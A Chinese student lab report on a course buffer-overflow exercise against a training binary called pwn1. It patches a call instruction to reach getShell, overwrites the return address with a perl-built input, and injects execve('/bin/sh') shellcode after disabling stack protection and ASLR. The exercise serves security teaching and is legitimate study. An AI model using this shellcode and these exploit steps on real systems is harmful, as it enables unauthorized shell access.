一、逆向及bof基础实践说明
1. 实践目标
- 对象:名为pwn1的linux可执行文件
- 程序正常执行流程:main调用foo函数,foo函数会简单回显任何用户输入的字符串
- 学习目标:该程序同时包含另一个代码片段,getShell,会返回一个可用Shell,而正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何 Shellcode。
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 代表现实情况中的攻击目标的思路:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码
2. 基础知识
- 需要掌握的内容:
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址
- 会使用gdb,vi
- 熟悉Linux基本操作
二、直接修改程序机器指令,改变程序执行流程
- 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令 objdump,十六进制编辑工具
- 学习目标:理解可执行文件与机器指令
- 进阶:掌握ELF文件格式,掌握动态技术
1. pwn1的下载安装
- 首先下载pwn1.zip到pc和kali的共享文件夹下,然后在kali的/mnt/hgfs/下的共享文件夹下解压和移动pwn1文件至实验exp1文件下。!
2. 反汇编查看函数地址
- 命令行输入
objdump -d pwn1
,我们就能看到:- pwn1程序主要有main、foo、getshell这三个函数,其中foo函数功能为输出输入的字符串,getshell函数功能为打开一个shell,原程序中main函数只调用了foo函数,也就是我们输入什么内容,pwn1会通过读入,再打印出来,但是函数foo,这个函数有Buffer overflow漏洞。
- 图中划线处080484b5中的指令为
call 8048491
- 是说这条指令将调用位于地址8048491处的foo函数;
- 其对应机器指令为e8 d7 ff ff ff,e8即跳转之意。
- 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 EIP + d7ffffff这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是 8048491这个值。
3. 在vim中修改地址,反汇编查看结果
- main函数调用foo,对应机器指令为e8 d7 ff ff ff,
- 那我们想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。
- 用Windows计算器,直接 47d-4ba就能得到补码,是c3ffffff。
- 首先我们直接使用vim打开pwn1文件后能看到如下乱码:
-
接下来执行如下操作:
cp pwn1 pwn2 vi pwn2
-
以下操作是在vi内
- 1.按ESC键
- 2.输入以下,将显示模式切换为16进制模式::
%!xxd
- 3.查找要修改的内容:
/d7ff
!
- 4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
- 5.修改d7为c3
- 6.转换16进制为原格式::
%!xxd -r
!
- 7.存盘退出vi:
:wq
- 修改成功后再通过
objdump -d pwn2
查看是否修改成功- 从下图我们可以看到划线代码已经成功修改了,“d7ffffff”已经变成了“c3ffffff”。
4. 运行改后的代码,查看效果
三、通过构造输入参数,造成BOF攻击,改变程序执行流程
- 知识要求:堆栈结构,返回地址
- 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
- 进阶:掌握ELF文件格式,掌握动态技术
1. 反汇编,了解程序的基本功能
- NOP:No Operation,空操作,作用就是直接跳到下一指令。对应的机器码为90。
- JNE:结果不为零(或不相等)则跳转。对应的机器码为75。
- JE:结果为零(或相等)则跳转。对应的机器码为74。
- JMP:无条件跳转。对应的机器码为对应的eb。
- CMP: cmp是比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位。其他的指令通过识别这些被影响的标志位来得知比较结果。
。对应的机器码为83。
2. 确认输入字符串哪几个字符会覆盖到返回地址
- 用
gdb pwn2
调试程序,输入有规律的字符串如1111111122222222333333334444444412345678
,发生段错误产生溢出!
- 使用
info r
查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。
3. 构造输入字符串
- 于是我们通过输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
来生成这样的文件。!
4. 通过管道符|,将input文件作为pwn1的输入
四、注入Shellcode并执行
1. 准备工作
- 先利用
apt-get install execstack
命令安装execstack软件包
-
修改些设置(我这里使用的是pwn1的副本pwn3)。
execstack -s pwn3 //设置堆栈可执行 execstack -q pwn3 //查询文件的堆栈是否可执行X pwn3 more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
2. 构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
-
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
-
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
-
跟着老师和一些同学开始的做法跳坑里然后爬不出来(此处略去若干字)
-
重做,默默绕开坑,尝试结构为:anything+retaddr+nops+shellcode。
-
然后我们使用这段shellcode
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
-
这样我们就得到了一个input_shellcode
3. 终端注入这段攻击buf并调试进程
-
终端注入这段攻击buf
(cat input_shellcode;cat) | ./pwn3
-
再开另外一个终端,用gdb来调试pwn3这个进程(我这里使用的是pwn1的副本pwn3)。
ps -ef | grep pwn3
- 启动gdb调试pwn3这个进程,先后输入
attach 4523
和disassemble foo
指令
-
找到ret后在0x080484ae处设置断点。在终端a中回车,程序会执行到断点处,再在b终端输入c在断点处继续运行,然后输入:
info r esp
-
得到esp的地址0xffffd6ec:
-
以16进制形式查看0xffffd6ec地址后面16字节的内容是在最开始构造的input_shellcode里的内容
x/16x 0xffffd6ec
-
所以将shellcode注入地址是0xffffd6f0
0xffffd6ec+4=0xffffd6f0
4. 重新构造攻击buf:
-
将shellcode之前的4321改成d6f0的地址:
perl -e 'print "A" x 32;print "\xf0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
-
再次输入:
(cat input_shellcode;cat) | ./pwn3
回车之后就可以执行命令了:
五、实验总结
1. 实验收获与感想
这次实验的内容是缓冲区溢出攻击,前两部分是通过直接修改机器指令、构造输入参数来改变程序正常的执行流程,第三部分是通过注入Shellcode并执行来进行攻击。在本次实验之前,我初步学习了Linux的基本操作指令和汇编、机器指令,但没有深入的了解。做完本次实验,我不仅对堆栈的结构和操作有了很多认识,还能够更加熟练地运用管道(|),输入、输出重定向(>)等Linux指令和gdb、vi这两个常用工具,得到了成长。虽然我还是只能跟着老师和同学们的步伐来学习,但还是收获颇丰。
2. 什么是漏洞?漏洞有什么危害?
- 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
- 漏洞被利用可能造成信息丢失,硬件或软件受损,程序无法正常运行等危害,造成硬件与软件受损从而产生经济损失,影响人们正常的生活、生产、学习、工作。